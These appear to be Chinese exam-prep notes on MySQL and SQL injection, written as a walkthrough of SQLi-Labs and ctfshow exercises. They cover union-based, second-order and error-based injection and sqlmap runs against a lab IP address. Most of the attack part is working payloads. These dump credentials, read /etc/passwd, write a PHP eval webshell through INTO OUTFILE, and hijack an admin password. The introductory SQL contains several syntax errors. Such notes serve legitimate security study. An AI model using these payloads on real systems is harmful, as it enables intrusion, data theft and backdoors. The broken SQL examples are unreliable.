一、MySQL基础
(一)基础语法
#登录
mysql -u 用户名 -p
##用root用户登录到本地mysql服务器的test库
mysql -h localhost -u root -p test
#创建用户
##创建一个新用户,用户名test,密码passwd,主机名localhost,
##主机名部分写成%,就表示对所有主机开放权限
create user 'test@loaclhost' identified by 'passwd';
#删除用户
DROP USER ‘user@localhost’;
DROP USER;
#创建数据库pte
CREATE DATABASE pte;
#使用数据库
USE pte;
#创建user表
##第一个字段名uid,int类型,设为主键,规定其为唯一值
CREATE TABLE user{
uid int(32) primary key auto_increment,
uname varchar(32),
upasswd varchar(32)
};
#注意:当数据库返回Error 2006:MySQl server has gone away,表示数据库长时间未使用,可能是输命令太慢了,mysql自动挂起,再执行一遍命令即可
#查看数据库总列表
SHOW DATABASES;
#查看当前使用的数据库中的表
SHOW TABLES;
#查看表user的详细信息(desc必须小写)
desc user;
#写数据到user表中
insert into user
(uid,uname,upasswd)
values
(1,"xx",passwd1),
(2,"yy",passwd2);
(二)MySQL使用基础
1.进入某张表的全流程
#进入某张表的全流程
mysql -h localhost -u root -p
输入密码
use pte;
desc user;
2.查询相关
#查询user表中uid=4的uname
select uname from user where uid=4;
#查询uname=pte的所有信息(字符要用引号)
select * from user where uname="pte";
#模糊查询(查询密码中含123的)
select * from user where upasswd like "123%";
注意:PTE中SQL注入考点:联合查询,二次注入,报错注入,盲注(考的少)
考试时可以使用sqlmap,但是考试题最近几年几乎跑不出结果,还是要手工注入,考试为了防止sqlmap基本都有防护,对sqlmap规则有过滤
二、什么是SQL注入
作为攻击方,在存在sql与数据库连接点的位置,通过判断注入方式,来写入、构造我们想要执行的sql语句,将其写入并执行,并将执行结果从页面上进行返还的方式,称为SQL注入
SQL注入的目的:执行我们拼接的任意语句
三、联合查询注入(例题:SQLi Labs Less-1)
(一)判断是否与数据库交互
通过改变id的值,出来的数据是变化的,判断存在数据库交互
(二)判断是否存在sql注入
使用and来判断注入点
and语句生效,存在注入点
猜测此处正常情况下SQL语句拼接后应该是:
select * from user where id ='1';
现在拼接1' and 1=2 --+后是:
select *from user where id='1' and 1=2 --+';
(三)当确认此and起作用,使用order by 判断列数
此处为select * from user where id = '1' order by 4 --+';
order by 本质是排序,有一个机制:当order by赋予参数,若参数值大于实际列数时会报错,小于等于时不会报错
order by从1开始试,试到4报错,证明该表有3列,order by 4 超出了列数,所以报错
(四)使用联合查询,测试网页使用的是哪个列上的数据
这里id=-1’的目的是使这一部分的id不存在,从而能够输出后面union联合查询的语句
如果此处id=1,则只会输出id=1的内容,因为浏览器在展示select查询语句时只展示了一位。即只展示了id=1的结果。后面union结果执行了,但没返回展示。所以一定要保证前面部分结果为空。
可以看到,这个网页使用的是数据库的第2,3列
(五)使用相关sql函数,进行相应功能
information_schema.tables 存储数据库中所有表名的表
information_schema.columns 存有数据库中所有列名的表
table_schema #数据库名
column_name #列名
table_name #表名
?id=-1' union select 1,database(),group_concat(table_name) from information_schema.tables where table_schema=database() --+
这里 在第二列输出的位置输出了数据库名database()
在第三列输出位置使用group_concat()函数,将想要查的所有数据库中的表名按照一个数组进行输出
information_schema.tables是数据库中默认存在的一个表,存储所有表的表名
table_schema=database()是当前数据库
此时输出了当前数据库存在的所有表名:emails,refers,uagents,users
(六)针对表users查看列名
information_schema.colums是存有列名的总表
得到返回列名id,username,passwd
(七)针对此表查询字段值
?id=-1' union select 1,database(),group_concat(id,"—",username,"—",password) from users --+
使用group_concat将查询的内容按照特定格式组合成数组后输出
(八)利用sql注入读取任意文件(函数load_file())
load_file() 函数读取文件
?id=-1' union select 1,2,load_file("/etc/passwd") --+
(九)利用sql注入写入一句话木马(以ctfshow的web171为例)
-1' union select 1,2,"<?php @eval($_POST['cmd']);?>" into outfile "/var/www/html/shell.php"--+
1.可以在浏览器直接传参命令执行
2.可以连接蚁剑
(十)需要绕过的情况
当注入语句为
select * from user where id= '-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --+;
报错了
illegal mix of collations for operation 'UNION'
这就表示需要绕过
1.hex绕过
先hex加密,再unhex解密
select * from user where id= '-1' union select 1,unhex(hex(group_concat(table_name))),3 from information_schema.tables where table_schema=database() --+;
四、二阶注入——修改任意用户密码
二次注入两个阶段:
先特殊字符写入数据库——第一阶段
调用之前写入的数据库,实现注入——第二阶段
一阶SQL注入:
直接写入数据,直接传入数据库中执行并返还结果,整个过程不分阶段
二阶SQL注入:
系统安全防护很高,会对我们写入的语句进行限制,导致我们一些语句没法直接写入数据库中执行,中间进行了隔断。
但是可以使用手法绕过。比如注册用户时我们的一些用户名之类的数据已经写入到了数据库中,可以将我们想使用的特殊字符,单引号,双引号,井号等等先写入到数据库中,再让SQL注入时系统本身调用用户名的方式调用这些我们可以提前写好的数据。
形成原因:数据库本身对于自身存储信息安全性以来过高,认为自己数据库中保存的数据一定安全。
1.攻击者在http请求中提交恶意输入;2.恶意输入保存在数据库中;3.攻击者提交第二次http请求;4.为处理第二次http请求,程序在检索存储在数据库中的恶意输入,构造SQL语句;5.如果攻击成功,在第二次请求响应中返回结果。
select * from user where id='admin' and passwd='123456';
select * from user where id='admin' -- and passwd='123';
(一)通过二次注入修改admin账号密码(sqlilabs-less24)
登录后随便先注册一个账户登录,登录后发现修改密码的功能,验证一遍旧密码和两遍新密码就可以修改密码。再次注册,发现可以在用户名中使用特殊字符,单引号,井号等。
注册一个账户名为admin'#的账户,登陆成功后修改密码,修改成功后退出登录,继续登录admin'#账户,发现密码没有修改成功,仍然是原密码。但是admin账户的密码变成了我们刚刚给admin'#修改的密码了,这就是二次注入。
$username= $_SESSION["username"];
//mysql_real_escape_string()是一个函数,用来转义 SQL 语句中使用的字符串中的特殊字符。
$curr_pass= mysql_real_escape_string($_POST['current_password']);
$pass= mysql_real_escape_string($_POST['password']);
$re_pass= mysql_real_escape_string($_POST['re_password']);
if($pass==$re_pass)
{
//注入点
$sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' ";
$res = mysql_query($sql) or die('You tried to be smart, Try harder!!!! :( ');
//mysql_affected_rows() 函数返回前一次 MySQL 操作所影响的记录行数
$row = mysql_affected_rows();
echo '<font size="3" color="#FFFF00">';
echo '<center>';
if($row==1)
{
echo "Password successfully updated";
}
else
{
header('Location: failed.php');
}
}
我们使用admin'#账户进行二次注入时,sql本质上是:
UPDATE users SET PASSWORD='$pass' where username='admin'#' and password='$curr_pass'
删掉注释掉的,那么就是
UPDATE users SET PASSWORD='$pass' where username='admin'
显而易见admin用户的密码被修改了
根据这个漏洞,任何一个用户只要知道用户名,就可以这样子修改他的密码
(二)二阶注入思维导图
五、报错注入
(一)使用场景
注入时页面没有回显,只有成功时才有回显,没成功什么信息都没有,无法通过联合查询来注入
(二)几个相关的重要函数
1.rand()
如此生成的rand()的值得个数取决于user表中的数据的个数
左图:生成0和1之间的随机数,可以看到两次出来的随机数都不同。
右图:但是rand()函数有一个特点,当参数相同时,生成的值永远相同!!!
通常结合floor()函数向下取整,当floor(rand(0)*2)时,永远是0,1,1,0,1这个顺序
利用这一点,可以控制和利用生成的随机数
2.group by
select uname a,count(*) x from user group by a;
将uname记作a,对uname进行计数,count()返回指定列的值的数量,计数记为x,将相同的a划分到一起
group by进行数据划分时是两次。
首先建立虚拟表,然后进行第一划分。
当第一次划分时取得一个数据,然后在虚拟表中检索看看是否存在,不存在则占一个位置,存在则相应计数+1
3.concat()
拼接函数,将所含有数据拼接到一行进行展示
(三)groupby 报错原理
1.例子
select count(*) from information_schema.tables group by concat(database(),floor(rand(0)*2));
- floor(rand(0)*2)产生的随机数前6位一定是 0 1 1 0 1 1
- concat()用于将字符串连接
- concat(database(),floor(rand(0)*2))生成database()+"0"或database()+"1"的数列,而前六位的顺序一定是
database()+"0"
database()+"1"
database()+"1"
database()+"0"
database()+"1"
database()+"1"
2.报错具体过程:
建立临时表
取第一条记录,执行concat(database(),floor(rand(0)*2))(第一次执行),结果为database()+“0”,查询临时表,发现database()+"0"这个主键不存在,则准备执行插入,此时又会在执行一次concat(database(),floor(rand(0)*2))(第二次执行),结果是database()+“1”,然后将该值作为主键插入到临时表。*(真正插入到临时表中的主键是database()+“1”,concat(database(),floor(rand(0)2)) 执行了两次)
取第二条记录,执行concat(database(),floor(rand(0)2))(第三次执行),结果为database+“1”,查询临时表,发现该主键存在,count()的值加1
取第三条记录,执行concat(database(),floor(rand(0)*2))(第四次执行),结果为database()+“0”,查询临时表发现该主键不存在,则准备执行插入动作,此时又会在执行一次concat(database(),floor(rand(0)*2))(第五次执行),结果是database()+“1”,然后将该值作为主键插入到临时表。但由于临时表已经存在database()+"1"这个主键,就会爆出主键重复,同时也带出了数据库名,这就是group by报错注入的原理
由以上过程可以发现,总共取了三条记录,所以表中的数据至少要为三条才可以注入成功!!!
(四)具体应用(sqlilabs-less5)
#发现注入点
?id=1' and 1=2 --+
#order by判断这个表的列数,3不报错,4报错
#证明有3列
?id=1' order by 3 --+
#使用联合查询,但是发现没有回显
#这条路走不通
?id=-1' union select 1,2,3 --+
#选择报错注入
#通过报错的方式爆破
?id=-1' union select null,count(*),concat((select database()),(floor((rand(0)*2)))) as a from information_schema.tables group by a --+
#刚才得到库名security
#爆表名
?id=-1' union select null,count(*),concat((select table_name from information_schema.tables where table_schema='security' limit 0,1),(floor((rand(0)*2)))) as a from information_schema.tables group by a --+
limit 0,1
后面这个1表示一次取1个,0+1表示开始取得位置
通过修改limt 0,1来控制逐个爆破出所有表名
#一共三张表,表名已经知道了
#针对最后一张表user爆破列名
?id=-1' union select null,count(*),concat((select column_name from information_schema.columns where table_name='users' limit 2,1),(floor((rand(0)*2)))) as a from information_schema.tables group by a --+
六 SQLMAP的基础使用方法
对于怀疑存在sql注入点http://49.235.78.245:1111/Less-5/?id=1
sqlmap -u "http://49.235.78.245:1111/Less-5/?id=1"
扫描后会将数据库的版本号进行展示,并且可以将可能存在的sql注入类型进行列举
sqlmap -u "http://49.235.78.245:1111/Less-5/?id=1" --dbs
爆破数据库名
爆破表,-D后的参数是要爆破的数据库名
sqlmap -u "http://49.235.78.245:1111/Less-5/?id=1" --tables -D "security"
爆列名
sqlmap -u "http://49.235.78.245:1111/Less-5/?id=1" --columns -T "users" -D "security"
爆破security库中的user表中的username和password
sqlmap -u "http://49.235.78.245:1111/Less-5/?id=1" --dump -C "username,password" -T "users" -D "security"